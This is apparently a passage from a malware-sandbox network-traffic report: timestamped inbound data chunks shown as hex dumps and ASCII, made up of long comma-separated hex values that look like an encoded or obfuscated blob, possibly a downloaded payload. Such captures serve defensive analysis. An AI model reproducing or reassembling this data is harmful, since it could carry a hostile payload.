2023-04-20 23:05:16 UTC	15565	IN	Data Raw: 2c 65 63 2c 34 61 2c 36 39 2c 31 34 39 2c 66 34 2c 31 31 38 2c 31 33 34 2c 66 30 2c 36 64 2c 66 32 2c 35 36 2c 35 30 2c 31 33 62 2c 31 31 63 2c 62 38 2c 31 32 64 2c 62 62 2c 62 64 2c 31 31 66 2c 31 30 39 2c 31 33 65 2c 63 32 2c 36 63 2c 64 36 2c 64 61 2c 63 62 2c 39 37 2c 37 64 2c 31 31 32 2c 38 36 2c 36 66 2c 64 39 2c 31 30 65 2c 35 37 2c 35 33 2c 31 33 39 2c 31 36 30 2c 63 37 2c 66 33 2c 38 63 2c 31 35 33 2c 38 31 2c 65 62 2c 31 30 35 2c 31 32 63 2c 31 31 35 2c 62 32 2c 64 36 2c 39 34 2c 65 33 2c 66 63 2c 36 33 2c 65 39 2c 38 65 2c 38 66 2c 61 62 2c 61 61 2c 64 66 2c 62 62 2c 63 31 2c 63 65 2c 39 39 2c 31 30 66 2c 33 34 2c 63 31 2c 39 38 2c 62 63 2c 31 31 30 2c 61 61 2c 64 31 2c 31 31 37 2c 31 35 37 2c 64 61 2c 66 31 2c 63 32 2c 39 65 2c 31 36 33 2c 65 Data Ascii: ,ec,4a,69,149,f4,118,134,f0,6d,f2,56,50,13b,11c,b8,12d,bb,bd,11f,109,13e,c2,6c,d6,da,cb,97,7d,112,86,6f,d9,10e,57,53,139,160,c7,f3,8c,153,81,eb,105,12c,115,b2,d6,94,e3,fc,63,e9,8e,8f,ab,aa,df,bb,c1,ce,99,10f,34,c1,98,bc,110,aa,d1,117,157,da,f1,c2,9e,163,e
2023-04-20 23:05:16 UTC	15581	IN	Data Raw: 2c 63 37 2c 65 61 2c 61 31 2c 61 39 2c 63 33 2c 62 66 2c 33 66 2c 62 37 2c 64 32 2c 62 38 2c 31 30 38 2c 31 35 33 2c 61 36 2c 64 64 2c 39 63 2c 31 33 37 2c 31 33 36 2c 61 65 2c 31 34 66 2c 31 33 34 2c 37 30 2c 37 36 2c 31 30 37 2c 65 64 2c 62 35 2c 31 32 62 2c 66 30 2c 37 32 2c 38 31 2c 33 64 2c 66 32 2c 31 36 30 2c 66 32 2c 35 63 2c 35 30 2c 62 34 2c 39 34 2c 61 36 2c 62 62 2c 37 33 2c 34 62 2c 39 30 2c 66 63 2c 38 33 2c 61 39 2c 31 32 36 2c 35 63 2c 31 30 30 2c 31 32 34 2c 31 31 64 2c 31 31 34 2c 31 33 61 2c 39 36 2c 31 30 64 2c 39 36 2c 31 31 65 2c 34 35 2c 61 37 2c 31 32 36 2c 31 31 34 2c 66 62 2c 31 31 32 2c 63 38 2c 31 32 33 2c 61 38 2c 62 65 2c 65 39 2c 31 32 30 2c 31 30 62 2c 37 64 2c 61 39 2c 39 66 2c 62 66 2c 35 65 2c 31 33 31 2c 31 34 64 2c 31 Data Ascii: ,c7,ea,a1,a9,c3,bf,3f,b7,d2,b8,108,153,a6,dd,9c,137,136,ae,14f,134,70,76,107,ed,b5,12b,f0,72,81,3d,f2,160,f2,5c,50,b4,94,a6,bb,73,4b,90,fc,83,a9,126,5c,100,124,11d,114,13a,96,10d,96,11e,45,a7,126,114,fb,112,c8,123,a8,be,e9,120,10b,7d,a9,9f,bf,5e,131,14d,1
2023-04-20 23:05:16 UTC	15597	IN	Data Raw: 31 34 32 2c 33 61 2c 31 36 66 2c 38 62 2c 37 36 2c 37 30 2c 37 37 2c 31 33 39 2c 36 38 2c 31 32 62 2c 34 31 2c 66 61 2c 31 30 36 2c 36 34 2c 31 33 31 2c 61 37 2c 64 32 2c 31 36 38 2c 37 39 2c 31 32 35 2c 35 66 2c 37 63 2c 31 33 33 2c 63 63 2c 38 34 2c 31 32 32 2c 35 36 2c 35 39 2c 38 36 2c 31 32 62 2c 38 34 2c 31 31 62 2c 31 34 36 2c 31 32 37 2c 31 35 37 2c 31 31 63 2c 35 35 2c 31 32 66 2c 36 35 2c 31 37 31 2c 66 33 2c 31 31 34 2c 64 36 2c 31 30 39 2c 65 35 2c 38 31 2c 31 34 30 2c 31 31 34 2c 31 34 39 2c 39 34 2c 64 31 2c 31 34 62 2c 36 63 2c 31 33 39 2c 62 61 2c 31 31 65 2c 65 64 2c 31 34 36 2c 39 30 2c 31 32 30 2c 65 62 2c 38 36 2c 31 35 34 2c 31 33 62 2c 38 64 2c 65 37 2c 31 35 31 2c 62 31 2c 64 34 2c 37 31 2c 65 63 2c 61 36 2c 31 32 39 2c 31 33 62 2c Data Ascii: 142,3a,16f,8b,76,70,77,139,68,12b,41,fa,106,64,131,a7,d2,168,79,125,5f,7c,133,cc,84,122,56,59,86,12b,84,11b,146,127,157,11c,55,12f,65,171,f3,114,d6,109,e5,81,140,114,149,94,d1,14b,6c,139,ba,11e,ed,146,90,120,eb,86,154,13b,8d,e7,151,b1,d4,71,ec,a6,129,13b,
2023-04-20 23:05:16 UTC	15613	IN	Data Raw: 2c 64 66 2c 62 38 2c 62 37 2c 63 63 2c 64 34 2c 38 61 2c 38 64 2c 35 33 2c 61 66 2c 31 34 33 2c 36 64 2c 61 65 2c 65 64 2c 37 35 2c 37 34 2c 66 34 2c 31 33 30 2c 31 33 65 2c 39 39 2c 39 61 2c 31 36 34 2c 31 32 32 2c 31 32 61 2c 38 65 2c 65 62 2c 64 39 2c 31 32 30 2c 66 32 2c 31 31 65 2c 36 36 2c 63 61 2c 64 63 2c 31 30 35 2c 64 38 2c 62 65 2c 63 39 2c 31 30 65 2c 61 34 2c 31 31 66 2c 35 36 2c 62 65 2c 31 33 65 2c 65 30 2c 63 38 2c 39 38 2c 31 33 37 2c 66 64 2c 38 35 2c 31 31 37 2c 31 32 38 2c 65 62 2c 38 32 2c 62 35 2c 36 39 2c 31 34 33 2c 38 66 2c 63 64 2c 63 33 2c 64 35 2c 39 30 2c 62 64 2c 36 39 2c 37 32 2c 34 30 2c 38 61 2c 31 35 66 2c 34 62 2c 31 30 34 2c 31 33 61 2c 31 35 66 2c 31 33 63 2c 31 30 30 2c 38 66 2c 66 34 2c 37 64 2c 35 64 2c 66 35 2c 61 Data Ascii: ,df,b8,b7,cc,d4,8a,8d,53,af,143,6d,ae,ed,75,74,f4,130,13e,99,9a,164,122,12a,8e,eb,d9,120,f2,11e,66,ca,dc,105,d8,be,c9,10e,a4,11f,56,be,13e,e0,c8,98,137,fd,85,117,128,eb,82,b5,69,143,8f,cd,c3,d5,90,bd,69,72,40,8a,15f,4b,104,13a,15f,13c,100,8f,f4,7d,5d,f5,a
2023-04-20 23:05:16 UTC	15629	IN	Data Raw: 61 2c 62 35 2c 66 62 2c 61 64 2c 61 37 2c 31 34 30 2c 37 62 2c 38 32 2c 37 33 2c 64 35 2c 34 64 2c 62 37 2c 36 61 2c 64 63 2c 31 33 39 2c 37 35 2c 31 33 31 2c 31 33 38 2c 39 63 2c 39 37 2c 64 31 2c 61 30 2c 64 38 2c 36 30 2c 39 66 2c 31 31 39 2c 31 30 36 2c 31 33 65 2c 62 66 2c 31 35 39 2c 31 34 36 2c 63 37 2c 31 36 66 2c 36 66 2c 37 66 2c 38 32 2c 31 33 33 2c 31 32 32 2c 31 31 38 2c 35 62 2c 65 35 2c 31 36 31 2c 31 30 32 2c 31 31 66 2c 31 35 34 2c 31 34 34 2c 31 34 33 2c 31 35 38 2c 66 65 2c 35 35 2c 31 31 39 2c 31 36 36 2c 63 61 2c 36 36 2c 31 32 37 2c 31 33 38 2c 61 64 2c 39 39 2c 38 64 2c 66 38 2c 31 32 39 2c 31 33 66 2c 31 32 37 2c 33 61 2c 64 61 2c 65 39 2c 34 30 2c 39 63 2c 37 32 2c 31 32 38 2c 31 33 62 2c 38 34 2c 61 33 2c 66 37 2c 38 38 2c 31 30 Data Ascii: a,b5,fb,ad,a7,140,7b,82,73,d5,4d,b7,6a,dc,139,75,131,138,9c,97,d1,a0,d8,60,9f,119,106,13e,bf,159,146,c7,16f,6f,7f,82,133,122,118,5b,e5,161,102,11f,154,144,143,158,fe,55,119,166,ca,66,127,138,ad,99,8d,f8,129,13f,127,3a,da,e9,40,9c,72,128,13b,84,a3,f7,88,10
2023-04-20 23:05:16 UTC	15645	IN	Data Raw: 32 2c 31 32 39 2c 31 30 66 2c 31 31 31 2c 35 37 2c 31 30 36 2c 37 31 2c 66 34 2c 31 34 32 2c 31 35 30 2c 31 35 33 2c 35 30 2c 63 32 2c 35 36 2c 31 30 36 2c 36 33 2c 61 33 2c 31 31 66 2c 61 61 2c 38 62 2c 31 30 38 2c 31 35 31 2c 37 36 2c 31 31 64 2c 31 33 64 2c 31 33 64 2c 36 65 2c 31 33 39 2c 33 32 2c 39 35 2c 34 66 2c 61 32 2c 31 35 34 2c 63 35 2c 31 35 30 2c 38 64 2c 31 31 32 2c 36 62 2c 66 64 2c 31 33 35 2c 31 33 65 2c 63 37 2c 31 34 32 2c 37 63 2c 63 66 2c 31 35 33 2c 37 34 2c 64 61 2c 62 61 2c 31 31 30 2c 62 61 2c 64 37 2c 31 30 38 2c 31 35 39 2c 38 32 2c 65 39 2c 61 63 2c 31 36 34 2c 37 65 2c 35 30 2c 35 39 2c 31 33 65 2c 62 36 2c 61 65 2c 39 30 2c 62 61 2c 63 30 2c 31 34 38 2c 63 62 2c 35 62 2c 31 32 30 2c 39 31 2c 63 33 2c 63 64 2c 31 30 37 2c 65 Data Ascii: 2,129,10f,111,57,106,71,f4,142,150,153,50,c2,56,106,63,a3,11f,aa,8b,108,151,76,11d,13d,13d,6e,139,32,95,4f,a2,154,c5,150,8d,112,6b,fd,135,13e,c7,142,7c,cf,153,74,da,ba,110,ba,d7,108,159,82,e9,ac,164,7e,50,59,13e,b6,ae,90,ba,c0,148,cb,5b,120,91,c3,cd,107,e
2023-04-20 23:05:16 UTC	15661	IN	Data Raw: 37 38 2c 37 31 2c 39 30 2c 64 35 2c 35 38 2c 31 37 32 2c 65 64 2c 31 33 35 2c 39 30 2c 63 39 2c 37 37 2c 66 33 2c 64 64 2c 31 34 63 2c 63 30 2c 31 34 38 2c 63 65 2c 65 34 2c 38 31 2c 65 65 2c 61 34 2c 64 63 2c 64 63 2c 65 35 2c 31 34 37 2c 34 62 2c 31 33 39 2c 31 30 38 2c 39 38 2c 31 30 31 2c 36 63 2c 31 35 32 2c 34 64 2c 64 66 2c 65 35 2c 31 32 35 2c 64 31 2c 63 30 2c 63 65 2c 66 63 2c 31 31 35 2c 66 64 2c 36 64 2c 38 39 2c 66 32 2c 61 62 2c 31 34 61 2c 64 61 2c 63 64 2c 36 66 2c 62 64 2c 65 37 2c 35 61 2c 31 31 38 2c 65 34 2c 31 30 39 2c 66 62 2c 38 30 2c 61 61 2c 35 38 2c 31 30 35 2c 31 33 63 2c 62 63 2c 65 33 2c 31 31 62 2c 38 35 2c 31 33 64 2c 36 35 2c 36 37 2c 63 39 2c 65 33 2c 31 32 66 2c 38 39 2c 31 31 35 2c 66 35 2c 35 66 2c 61 30 2c 31 32 39 2c Data Ascii: 78,71,90,d5,58,172,ed,135,90,c9,77,f3,dd,14c,c0,148,ce,e4,81,ee,a4,dc,dc,e5,147,4b,139,108,98,101,6c,152,4d,df,e5,125,d1,c0,ce,fc,115,fd,6d,89,f2,ab,14a,da,cd,6f,bd,e7,5a,118,e4,109,fb,80,aa,58,105,13c,bc,e3,11b,85,13d,65,67,c9,e3,12f,89,115,f5,5f,a0,129,
2023-04-20 23:05:16 UTC	15677	IN	Data Raw: 64 35 2c 38 34 2c 31 34 33 2c 39 33 2c 31 32 33 2c 31 31 34 2c 37 30 2c 61 34 2c 38 32 2c 37 65 2c 31 33 65 2c 31 30 30 2c 31 34 36 2c 31 34 62 2c 61 37 2c 31 33 34 2c 38 38 2c 66 35 2c 34 39 2c 66 34 2c 37 63 2c 64 30 2c 65 31 2c 31 30 38 2c 64 31 2c 36 66 2c 31 30 30 2c 38 63 2c 66 63 2c 37 37 2c 62 63 2c 31 31 64 2c 37 34 2c 39 32 2c 36 38 2c 62 62 2c 31 35 37 2c 31 34 38 2c 31 31 31 2c 64 35 2c 66 34 2c 62 36 2c 65 33 2c 65 33 2c 66 36 2c 31 34 64 2c 39 61 2c 31 31 39 2c 31 34 30 2c 31 31 33 2c 66 31 2c 31 32 65 2c 62 61 2c 63 36 2c 31 30 32 2c 31 34 35 2c 33 64 2c 66 39 2c 35 63 2c 65 36 2c 38 64 2c 64 33 2c 31 33 38 2c 31 30 39 2c 37 33 2c 38 31 2c 35 63 2c 31 31 30 2c 61 61 2c 63 36 2c 36 31 2c 62 32 2c 36 64 2c 31 34 66 2c 66 33 2c 63 30 2c 64 31 Data Ascii: d5,84,143,93,123,114,70,a4,82,7e,13e,100,146,14b,a7,134,88,f5,49,f4,7c,d0,e1,108,d1,6f,100,8c,fc,77,bc,11d,74,92,68,bb,157,148,111,d5,f4,b6,e3,e3,f6,14d,9a,119,140,113,f1,12e,ba,c6,102,145,3d,f9,5c,e6,8d,d3,138,109,73,81,5c,110,aa,c6,61,b2,6d,14f,f3,c0,d1
2023-04-20 23:05:16 UTC	15693	IN	Data Raw: 2c 31 35 31 2c 31 30 34 2c 31 32 31 2c 31 35 35 2c 34 35 2c 31 30 32 2c 38 32 2c 65 35 2c 31 36 33 2c 35 36 2c 65 33 2c 31 30 38 2c 66 39 2c 31 34 38 2c 31 30 63 2c 65 61 2c 31 34 39 2c 36 63 2c 31 32 34 2c 63 61 2c 63 33 2c 31 32 36 2c 39 64 2c 62 39 2c 37 61 2c 31 31 61 2c 31 33 37 2c 31 31 38 2c 38 62 2c 31 33 33 2c 31 31 64 2c 31 30 33 2c 62 61 2c 31 33 30 2c 31 35 31 2c 31 34 64 2c 38 64 2c 31 31 37 2c 31 33 30 2c 31 36 66 2c 31 32 33 2c 35 38 2c 66 30 2c 63 37 2c 38 61 2c 64 31 2c 31 32 33 2c 38 32 2c 63 33 2c 65 38 2c 31 33 65 2c 37 30 2c 31 34 31 2c 61 36 2c 38 63 2c 61 34 2c 61 65 2c 66 62 2c 31 31 66 2c 39 63 2c 39 34 2c 37 38 2c 37 31 2c 63 33 2c 37 30 2c 62 65 2c 31 33 31 2c 31 32 62 2c 31 31 62 2c 31 30 61 2c 63 37 2c 64 63 2c 31 35 37 2c 31 Data Ascii: ,151,104,121,155,45,102,82,e5,163,56,e3,108,f9,148,10c,ea,149,6c,124,ca,c3,126,9d,b9,7a,11a,137,118,8b,133,11d,103,ba,130,151,14d,8d,117,130,16f,123,58,f0,c7,8a,d1,123,82,c3,e8,13e,70,141,a6,8c,a4,ae,fb,11f,9c,94,78,71,c3,70,be,131,12b,11b,10a,c7,dc,157,1
2023-04-20 23:05:16 UTC	15709	IN	Data Raw: 65 39 2c 63 36 2c 37 63 2c 61 35 2c 63 35 2c 39 38 2c 38 65 2c 36 66 2c 63 35 2c 64 36 2c 63 66 2c 37 65 2c 65 64 2c 63 63 2c 31 32 64 2c 39 61 2c 31 31 38 2c 66 36 2c 62 65 2c 39 33 2c 63 35 2c 31 35 36 2c 65 66 2c 61 66 2c 63 36 2c 66 35 2c 64 35 2c 65 36 2c 31 30 62 2c 31 33 38 2c 62 65 2c 64 38 2c 31 31 66 2c 34 37 2c 31 34 34 2c 31 34 38 2c 31 30 63 2c 66 63 2c 31 30 35 2c 31 30 31 2c 31 34 63 2c 38 66 2c 61 31 2c 31 30 62 2c 62 64 2c 61 34 2c 36 66 2c 34 37 2c 31 31 66 2c 65 36 2c 37 34 2c 38 39 2c 39 66 2c 64 63 2c 31 33 31 2c 39 61 2c 31 34 38 2c 64 32 2c 35 30 2c 31 30 36 2c 31 36 31 2c 31 34 36 2c 35 34 2c 65 31 2c 31 36 32 2c 38 36 2c 39 36 2c 31 30 37 2c 31 34 65 2c 31 30 34 2c 61 61 2c 37 34 2c 31 34 36 2c 31 32 38 2c 64 36 2c 31 34 31 2c 31 Data Ascii: e9,c6,7c,a5,c5,98,8e,6f,c5,d6,cf,7e,ed,cc,12d,9a,118,f6,be,93,c5,156,ef,af,c6,f5,d5,e6,10b,138,be,d8,11f,47,144,148,10c,fc,105,101,14c,8f,a1,10b,bd,a4,6f,47,11f,e6,74,89,9f,dc,131,9a,148,d2,50,106,161,146,54,e1,162,86,96,107,14e,104,aa,74,146,128,d6,141,1
2023-04-20 23:05:16 UTC	15725	IN	Data Raw: 31 37 31 2c 62 64 2c 66 63 2c 39 33 2c 66 33 2c 63 35 2c 38 38 2c 31 30 32 2c 36 30 2c 65 36 2c 65 30 2c 31 33 63 2c 34 39 2c 31 31 34 2c 31 35 32 2c 33 34 2c 31 30 31 2c 64 37 2c 31 31 33 2c 31 30 33 2c 35 33 2c 31 32 38 2c 31 35 30 2c 39 64 2c 61 39 2c 65 38 2c 65 66 2c 39 32 2c 31 32 39 2c 36 33 2c 38 61 2c 61 31 2c 62 62 2c 64 65 2c 61 39 2c 31 30 35 2c 31 30 34 2c 38 30 2c 62 61 2c 31 31 33 2c 31 30 33 2c 31 35 62 2c 39 35 2c 31 31 36 2c 38 37 2c 62 62 2c 31 31 36 2c 33 32 2c 31 34 38 2c 31 31 32 2c 64 66 2c 31 32 35 2c 31 31 64 2c 61 31 2c 31 35 63 2c 31 30 38 2c 35 30 2c 37 61 2c 66 36 2c 31 34 31 2c 66 34 2c 39 63 2c 38 31 2c 36 35 2c 31 36 36 2c 62 65 2c 31 34 34 2c 31 34 36 2c 62 33 2c 31 31 63 2c 31 34 32 2c 35 34 2c 36 31 2c 31 34 66 2c 31 35 Data Ascii: 171,bd,fc,93,f3,c5,88,102,60,e6,e0,13c,49,114,152,34,101,d7,113,103,53,128,150,9d,a9,e8,ef,92,129,63,8a,a1,bb,de,a9,105,104,80,ba,113,103,15b,95,116,87,bb,116,32,148,112,df,125,11d,a1,15c,108,50,7a,f6,141,f4,9c,81,65,166,be,144,146,b3,11c,142,54,61,14f,15
2023-04-20 23:05:16 UTC	15741	IN	Data Raw: 63 31 2c 31 32 62 2c 65 35 2c 61 39 2c 35 38 2c 39 31 2c 31 32 62 2c 31 32 62 2c 62 66 2c 64 36 2c 31 36 33 2c 37 38 2c 36 61 2c 65 38 2c 61 38 2c 39 38 2c 31 31 37 2c 36 34 2c 31 34 64 2c 63 63 2c 31 31 36 2c 37 61 2c 66 66 2c 64 36 2c 36 33 2c 64 39 2c 31 34 62 2c 34 37 2c 66 35 2c 63 66 2c 31 35 37 2c 64 34 2c 34 33 2c 31 32 64 2c 36 63 2c 31 31 64 2c 31 34 36 2c 31 32 66 2c 38 62 2c 31 34 39 2c 36 36 2c 38 39 2c 37 30 2c 37 31 2c 61 61 2c 65 31 2c 65 64 2c 31 33 66 2c 31 31 64 2c 34 38 2c 31 32 64 2c 31 31 66 2c 31 32 61 2c 31 34 64 2c 31 32 63 2c 64 63 2c 34 66 2c 37 37 2c 31 34 34 2c 31 31 31 2c 61 62 2c 63 62 2c 31 34 63 2c 63 62 2c 36 31 2c 31 31 30 2c 31 34 34 2c 35 34 2c 65 32 2c 31 34 63 2c 31 37 31 2c 31 32 64 2c 34 65 2c 35 65 2c 31 34 63 2c Data Ascii: c1,12b,e5,a9,58,91,12b,12b,bf,d6,163,78,6a,e8,a8,98,117,64,14d,cc,116,7a,ff,d6,63,d9,14b,47,f5,cf,157,d4,43,12d,6c,11d,146,12f,8b,149,66,89,70,71,aa,e1,ed,13f,11d,48,12d,11f,12a,14d,12c,dc,4f,77,144,111,ab,cb,14c,cb,61,110,144,54,e2,14c,171,12d,4e,5e,14c,
2023-04-20 23:05:16 UTC	15757	IN	Data Raw: 62 2c 39 34 2c 31 30 65 2c 64 64 2c 64 37 2c 36 37 2c 66 62 2c 31 31 66 2c 31 34 63 2c 62 65 2c 31 31 31 2c 31 32 31 2c 31 31 63 2c 65 37 2c 65 65 2c 31 32 37 2c 31 35 30 2c 31 30 63 2c 31 31 39 2c 66 64 2c 31 36 61 2c 64 65 2c 31 33 63 2c 31 34 30 2c 31 34 63 2c 31 32 66 2c 65 32 2c 63 30 2c 66 63 2c 39 66 2c 39 36 2c 64 66 2c 31 34 33 2c 62 62 2c 31 30 62 2c 31 30 64 2c 35 39 2c 39 66 2c 39 62 2c 31 36 63 2c 31 33 62 2c 61 32 2c 37 62 2c 31 34 33 2c 36 64 2c 38 62 2c 66 31 2c 31 34 33 2c 31 35 38 2c 37 62 2c 35 65 2c 65 36 2c 31 34 63 2c 62 31 2c 66 66 2c 31 30 30 2c 31 31 62 2c 37 61 2c 37 61 2c 31 30 65 2c 31 34 65 2c 63 30 2c 63 38 2c 64 66 2c 36 65 2c 64 65 2c 31 31 34 2c 39 63 2c 31 32 32 2c 38 32 2c 37 34 2c 31 30 35 2c 31 32 65 2c 37 62 2c 64 31 Data Ascii: b,94,10e,dd,d7,67,fb,11f,14c,be,111,121,11c,e7,ee,127,150,10c,119,fd,16a,de,13c,140,14c,12f,e2,c0,fc,9f,96,df,143,bb,10b,10d,59,9f,9b,16c,13b,a2,7b,143,6d,8b,f1,143,158,7b,5e,e6,14c,b1,ff,100,11b,7a,7a,10e,14e,c0,c8,df,6e,de,114,9c,122,82,74,105,12e,7b,d1
2023-04-20 23:05:16 UTC	15773	IN	Data Raw: 33 64 2c 38 38 2c 64 35 2c 66 63 2c 63 32 2c 39 32 2c 31 33 30 2c 31 30 63 2c 36 39 2c 38 34 2c 31 35 64 2c 31 30 34 2c 31 31 33 2c 63 61 2c 37 38 2c 31 33 39 2c 63 64 2c 31 31 62 2c 65 37 2c 31 30 32 2c 31 30 37 2c 38 62 2c 38 39 2c 66 33 2c 61 36 2c 64 63 2c 39 63 2c 37 32 2c 31 33 62 2c 31 32 33 2c 31 33 38 2c 64 35 2c 31 30 62 2c 31 30 35 2c 66 61 2c 64 33 2c 31 31 36 2c 62 62 2c 65 39 2c 38 63 2c 66 61 2c 61 62 2c 64 64 2c 31 30 37 2c 31 31 62 2c 63 30 2c 31 33 33 2c 66 32 2c 31 30 38 2c 33 63 2c 39 66 2c 31 34 65 2c 31 37 36 2c 31 33 65 2c 35 36 2c 63 61 2c 36 30 2c 31 30 62 2c 35 39 2c 65 61 2c 31 30 62 2c 66 30 2c 31 35 39 2c 61 37 2c 31 31 65 2c 38 62 2c 31 35 61 2c 34 30 2c 39 31 2c 39 30 2c 31 33 33 2c 31 35 37 2c 31 31 31 2c 31 30 37 2c 36 66 Data Ascii: 3d,88,d5,fc,c2,92,130,10c,69,84,15d,104,113,ca,78,139,cd,11b,e7,102,107,8b,89,f3,a6,dc,9c,72,13b,123,138,d5,10b,105,fa,d3,116,bb,e9,8c,fa,ab,dd,107,11b,c0,133,f2,108,3c,9f,14e,176,13e,56,ca,60,10b,59,ea,10b,f0,159,a7,11e,8b,15a,40,91,90,133,157,111,107,6f
2023-04-20 23:05:16 UTC	15789	IN	Data Raw: 2c 65 32 2c 36 63 2c 66 32 2c 66 37 2c 31 31 31 2c 31 36 36 2c 31 37 33 2c 31 33 38 2c 63 39 2c 31 34 36 2c 31 30 30 2c 39 36 2c 31 31 31 2c 31 33 65 2c 66 66 2c 31 30 39 2c 63 34 2c 61 34 2c 66 38 2c 64 30 2c 37 63 2c 31 33 64 2c 36 39 2c 31 31 33 2c 64 31 2c 63 39 2c 39 35 2c 31 31 39 2c 62 66 2c 31 32 61 2c 63 32 2c 64 32 2c 31 31 31 2c 31 35 62 2c 62 35 2c 31 34 36 2c 35 62 2c 31 33 37 2c 31 35 38 2c 62 65 2c 65 32 2c 61 62 2c 65 35 2c 36 39 2c 31 31 34 2c 36 30 2c 62 34 2c 31 34 64 2c 36 66 2c 64 35 2c 63 34 2c 65 39 2c 32 64 2c 36 37 2c 61 39 2c 31 36 32 2c 39 62 2c 63 63 2c 62 64 2c 31 34 38 2c 65 39 2c 31 33 33 2c 37 30 2c 64 36 2c 63 37 2c 38 36 2c 38 38 2c 31 30 35 2c 66 61 2c 31 32 33 2c 62 61 2c 61 36 2c 31 32 31 2c 39 33 2c 39 65 2c 65 32 2c Data Ascii: ,e2,6c,f2,f7,111,166,173,138,c9,146,100,96,111,13e,ff,109,c4,a4,f8,d0,7c,13d,69,113,d1,c9,95,119,bf,12a,c2,d2,111,15b,b5,146,5b,137,158,be,e2,ab,e5,69,114,60,b4,14d,6f,d5,c4,e9,2d,67,a9,162,9b,cc,bd,148,e9,133,70,d6,c7,86,88,105,fa,123,ba,a6,121,93,9e,e2,
2023-04-20 23:05:16 UTC	15805	IN	Data Raw: 31 30 61 2c 31 31 37 2c 35 30 2c 39 36 2c 61 66 2c 39 35 2c 31 34 32 2c 61 61 2c 31 32 30 2c 61 33 2c 33 38 2c 31 35 36 2c 66 35 2c 65 66 2c 36 61 2c 31 30 37 2c 31 34 39 2c 35 62 2c 35 30 2c 31 31 63 2c 65 30 2c 65 35 2c 38 34 2c 31 34 33 2c 31 33 35 2c 37 66 2c 31 34 31 2c 36 30 2c 36 35 2c 31 34 65 2c 31 35 66 2c 64 34 2c 31 31 62 2c 31 31 66 2c 38 65 2c 65 66 2c 38 66 2c 36 31 2c 62 34 2c 31 31 66 2c 61 34 2c 39 34 2c 64 36 2c 66 31 2c 31 34 30 2c 32 65 2c 66 31 2c 64 35 2c 31 32 61 2c 62 62 2c 31 33 30 2c 33 38 2c 64 30 2c 31 30 36 2c 34 61 2c 64 30 2c 36 34 2c 62 62 2c 31 30 39 2c 34 66 2c 35 63 2c 31 31 66 2c 31 36 31 2c 37 61 2c 61 61 2c 31 32 34 2c 31 33 65 2c 63 65 2c 31 30 36 2c 35 32 2c 66 31 2c 39 66 2c 39 31 2c 63 31 2c 37 33 2c 62 37 2c 66 Data Ascii: 10a,117,50,96,af,95,142,aa,120,a3,38,156,f5,ef,6a,107,149,5b,50,11c,e0,e5,84,143,135,7f,141,60,65,14e,15f,d4,11b,11f,8e,ef,8f,61,b4,11f,a4,94,d6,f1,140,2e,f1,d5,12a,bb,130,38,d0,106,4a,d0,64,bb,109,4f,5c,11f,161,7a,aa,124,13e,ce,106,52,f1,9f,91,c1,73,b7,f
2023-04-20 23:05:17 UTC	15821	IN	Data Raw: 2c 66 64 2c 39 35 2c 39 64 2c 31 36 37 2c 31 32 36 2c 37 38 2c 63 36 2c 39 31 2c 31 35 34 2c 61 32 2c 38 38 2c 37 32 2c 39 30 2c 31 31 30 2c 31 34 33 2c 61 30 2c 31 33 62 2c 65 39 2c 31 33 36 2c 66 66 2c 31 31 39 2c 31 34 65 2c 31 35 63 2c 33 38 2c 63 63 2c 31 31 63 2c 61 64 2c 31 34 33 2c 31 31 61 2c 38 31 2c 64 36 2c 38 62 2c 39 35 2c 35 30 2c 61 33 2c 31 34 32 2c 66 65 2c 31 31 39 2c 31 32 66 2c 63 66 2c 38 63 2c 62 30 2c 31 33 35 2c 31 34 65 2c 61 36 2c 35 39 2c 39 38 2c 63 33 2c 66 34 2c 34 38 2c 66 31 2c 31 33 36 2c 39 64 2c 31 32 39 2c 66 37 2c 38 64 2c 31 32 31 2c 62 66 2c 31 34 35 2c 31 35 35 2c 31 34 65 2c 31 31 61 2c 31 30 61 2c 65 62 2c 66 36 2c 61 30 2c 31 32 36 2c 31 37 32 2c 36 64 2c 31 33 37 2c 38 30 2c 31 33 39 2c 61 32 2c 37 62 2c 39 32 Data Ascii: ,fd,95,9d,167,126,78,c6,91,154,a2,88,72,90,110,143,a0,13b,e9,136,ff,119,14e,15c,38,cc,11c,ad,143,11a,81,d6,8b,95,50,a3,142,fe,119,12f,cf,8c,b0,135,14e,a6,59,98,c3,f4,48,f1,136,9d,129,f7,8d,121,bf,145,155,14e,11a,10a,eb,f6,a0,126,172,6d,137,80,139,a2,7b,92
2023-04-20 23:05:17 UTC	15837	IN	Data Raw: 2c 63 35 2c 31 31 64 2c 31 30 35 2c 39 37 2c 31 31 62 2c 66 38 2c 36 61 2c 37 36 2c 31 30 65 2c 31 35 31 2c 34 64 2c 31 33 38 2c 66 34 2c 62 36 2c 66 31 2c 31 34 35 2c 31 33 61 2c 39 36 2c 62 66 2c 63 38 2c 34 37 2c 65 64 2c 39 34 2c 62 38 2c 31 35 66 2c 31 30 63 2c 63 66 2c 31 33 37 2c 34 65 2c 31 30 35 2c 38 64 2c 66 37 2c 31 34 35 2c 65 64 2c 63 35 2c 31 35 33 2c 37 66 2c 63 64 2c 31 32 62 2c 64 37 2c 37 33 2c 37 34 2c 31 32 31 2c 62 39 2c 38 37 2c 39 33 2c 31 31 35 2c 31 31 36 2c 37 66 2c 66 64 2c 35 32 2c 31 33 32 2c 64 30 2c 35 65 2c 65 62 2c 36 37 2c 62 62 2c 35 39 2c 61 34 2c 31 31 30 2c 33 38 2c 36 34 2c 38 63 2c 61 36 2c 31 32 64 2c 65 37 2c 65 33 2c 64 37 2c 65 65 2c 31 34 32 2c 62 62 2c 31 34 61 2c 64 32 2c 31 31 33 2c 66 33 2c 31 33 66 2c 31 Data Ascii: ,c5,11d,105,97,11b,f8,6a,76,10e,151,4d,138,f4,b6,f1,145,13a,96,bf,c8,47,ed,94,b8,15f,10c,cf,137,4e,105,8d,f7,145,ed,c5,153,7f,cd,12b,d7,73,74,121,b9,87,93,115,116,7f,fd,52,132,d0,5e,eb,67,bb,59,a4,110,38,64,8c,a6,12d,e7,e3,d7,ee,142,bb,14a,d2,113,f3,13f,1
